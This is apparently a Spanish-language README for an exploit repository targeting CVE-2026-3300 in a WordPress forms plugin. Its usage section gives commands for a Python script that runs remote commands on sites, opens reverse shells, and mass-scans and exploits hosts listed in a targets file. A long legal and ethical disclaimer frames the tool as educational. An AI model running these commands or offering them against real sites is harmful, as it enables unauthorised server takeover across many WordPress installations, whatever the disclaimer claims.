CVE-2026-3300 - Wordpress

⚡ Uso Simple

Usa este proyecto solo en entornos seguros y autorizados, como:

• Máquinas virtuales locales
• Contenedores Docker
• Configuraciones de laboratorio aisladas
• Entornos de pruebas de penetración autorizados

Configuración de ejemplo:

git clone <repository-url>
cd <repository-name>

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

Ejemplo de uso:

# Normal command execution
python cve-2026-3300.py http://localhost --mode poc -c "whoami"

# Try different payload types
python cve-2026-3300.py http://localhost --mode poc -p passthru -c "id"

# Reverse Shell (Recommended)
python cve-2026-3300.py http://localhost --mode reverse --listen 4444

# Scan all targets
python cve-2026-3300.py --file targets.txt --mode scan

# Exploit all targets
python cve-2026-3300.py --file targets.txt --mode exploit -c "whoami"

# Reverse shell (single target)
python cve-2026-3300.py --file targets.txt --mode reverse -l 4444

# Test with common field names
python cve-2026-3300.py http://target.com --mode exploit --field text_1 -c "whoami"
python cve-2026-3300.py http://target.com --mode exploit --field email -c "id"

# Reverse shell
python cve-2026-3300.py http://target.com --mode reverse --field text_field -l 4444

Crédito o Referencia

• https://www.wordfence.com/blog/2026/06/attackers-actively-exploiting-critical-vulnerability-in-everest-forms-pro-plugin/
• https://thehackernews.com/2026/06/hackers-exploit-critical-everest-forms.html
• https://sansec.io/research/stripe-api-skimmer-infrastructure

📚 Repositorio Educativo de Investigación en Seguridad

Un repositorio para aprender, probar e investigar conceptos de ciberseguridad en entornos controlados.

⚠️ Aviso Legal y de Seguridad

Propósito

Este repositorio es solo para investigación de seguridad educativa y autorizada.

Está diseñado para ayudar a los usuarios a aprender sobre:

• Vulnerabilidades de seguridad
• Conceptos de sandbox y aislamiento
• Prácticas de codificación segura y defensiva

Solo Uso Autorizado

Usa este repositorio solo en entornos donde tengas permiso, como:

• Laboratorios personales o máquinas virtuales
• Entornos Docker o aislados
• Pruebas de penetración autorizadas
• Formación en ciberseguridad o investigación académica

El uso no autorizado o ilegal está estrictamente prohibido.

Sin Responsabilidad

El autor y los colaboradores no son responsables de cualquier daño, uso indebido, problema legal o pérdida causada por este proyecto.

Al usar este repositorio, aceptas que:

• Eres responsable de tus propias acciones
• Lo usarás de manera legal y ética
• El proyecto se proporciona sin garantía

Uso Ético

Este proyecto está destinado a:

• Investigación de seguridad defensiva
• Educación en ciberseguridad
• Concienciación sobre vulnerabilidades
• Investigación de sistemas y software seguros

Sigue las prácticas de divulgación responsable y cumple con todas las leyes aplicables.

Contacto

Para divulgación responsable o colaboración, contacta al mantenedor del repositorio a través de GitHub.